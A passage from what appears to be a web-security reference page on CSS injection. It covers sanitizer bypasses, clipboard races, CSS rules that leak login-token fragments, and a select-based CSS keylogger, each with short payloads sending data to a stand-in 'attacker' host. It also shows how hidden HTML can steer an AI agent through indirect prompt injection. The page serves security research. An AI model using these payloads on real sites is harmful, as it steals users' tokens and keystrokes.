of the original source, diff the raw stylesheet against serialized fields such as keyframe names and `mediaText`. Escaped bytes that looked harmless before validation can decode into `}`, `*`, `:`, or full declarations during serialization, escaping selector prefixing and reaching trusted UI. Also audit post-sanitization JavaScript that consumes allowed `data-*` attributes: if trusted code appends new elements or styles with forbidden declarations such as `position:fixed`, you have a **CSS gadget** that can be combined with allowed properties plus `!important` to break out of the message pane.<sup>[[23]](#references)</sup> 870 871 ### Clipboard races and compact token exfiltration 872 873 If the target pastes HTML into a `contenteditable` editor, test whether inline CSS becomes active **before** sanitization completes. A quick probe is to copy `<style>*{color:red}</style>` as HTML and paste it into the composer; a brief flash confirms a race. Once CSS wins the race, nested attribute selectors can recover structured secrets from existing draft content with much less payload than a full brute force: anchor 5 hex characters at the start (`en=<hex5>`) and 5 at the end (`<hex5>&o`), then test arbitrary 5-character chunks anywhere else in the URL and reconstruct the two middle characters server-side from 4-character overlaps. This is practical against 12-character hex login tokens embedded inside longer attributes.<sup>[[23]](#references)</sup> 874 875 ```css 876 a[href^="https://target/?token="] { 877 &[href*="en=c2e16"] { background:url(//attacker/s/c2e16); } 878 &[href*="a1781&o"] { background:url(//attacker/e/a1781); } 879 &[href*="2e167"] { background:url(//attacker/m/2e167); } 880 } 881 ``` 882 883 ### CSS-only keylogging, CSP-resistant text leaks, and AI rendering disparity 884 885 `input[value$=...]` keyloggers usually fail because typing changes the DOM **property**, not the HTML **attribute**. A more reliable HTML-only primitive is a styled `select`: keyboard input changes the selected `option`, which can be detected with `:checked`, `:has()`, or adjacent-sibling chains such as `option+option:checked`. Each position can trigger a different request, and the control can be disguised with `appearance:none` and `-webkit-text-security:disc`. In Firefox, moving the focused `select` off-screen and back with a sub-millisecond animation resets incremental-search state and enables near real-time keystroke capture.<sup>[[23]](#references)</sup> 886 887 ```css 888 option+option:checked { background:url(https://attacker/?k=a); } 889 option+option+option:checked { background:url(https://attacker/?k=b); } 890 select { appearance:none; -webkit-text-security:disc; } 891 ``` 892 893 When automatic outbound requests are blocked, another option is to use digit-specific `@font-face` rules plus altered font metrics to count how many times each digit appears in a text node, then expose only the matching attacker-controlled link so the victim's **next click** performs the exfiltration. The same rendering discrepancies can also be chained with [indirect prompt injection](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/AI/AI-Prompts.md): humans may see benign CSS-generated text via `:before` / `:after`, while an AI agent still reads hidden HTML instructions and executes attacker-chosen browsing steps.<sup>[[23]](#references)</sup> 894 895 PortSwigger published a companion materials repository with standalone PoCs for several of these chains.<sup>[[24]](#references)</sup> 896 897 ## References 898 899 - [1] [LINE CTF 2022 - CSS/XS-Leak writeup (gist)](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) 900 - [2] [Better Exfiltration via HTML Injection (d0nut)](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) 901 - [3] [Exfiltration via CSS Injection](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) 902 - [4] [CSS Injection Primitives (Doomsday Vault)](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) 903 - [5] [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) 904 - [6] [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) 905 - [7] [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) 906 - [8] [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) 907 - [9] [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) 908 - [10] [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) 909 - [11] [Blind CSS Exfiltration (PortSwigger)](https://portswigger.net/research/blind-css-exfiltration) 910 - [12] [CSS Injection Attacks - slides (Pepe Vila)](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 911 - [13] [Pepe Vila's @import CSS exfiltration PoC (gist)](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) 912 - [14] [CSS based Attack: Abusing unicode-range of @font-face (Masato Kinugawa)](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) 913 - [15] [Error-Based XS-Search PoC (@terjanq)](https://twitter.com/terjanq/status/1180477124861407234) 914 - [16] [New technique of stealing data using CSS and Scroll-to-Text Fragment (SECFORCE)](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/) 915 - [17] [Wykradanie danych w świetnym stylu (Michał Bentkowski, sekurak)](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) 916 - [18] [PoC: leaking the charset with a default font (Cgvwzq & Terjanq)](https://demo.vwzq.net/css2.html) 917 - [19] [What can we do with single CSS injection? (Slackers thread)](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) 918 - [20] [justCTF 2022 write-up (Huli's blog)](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) 919 - [21] [bi0sCTF 2022 - Emo-Locker writeup](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker) 920 - [22] [Gist by d0nutptr](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) 921 - [23] [CSS: The Bomb Inside Your Inbox (PortSwigger)](https://portswigger.net/research/css-the-bomb-inside-your-inbox) 922 - [24] [PortSwigger materials repo: css-the-bomb-inside-your-inbox](https://github.com/portswigger/css-the-bomb-inside-your-inbox)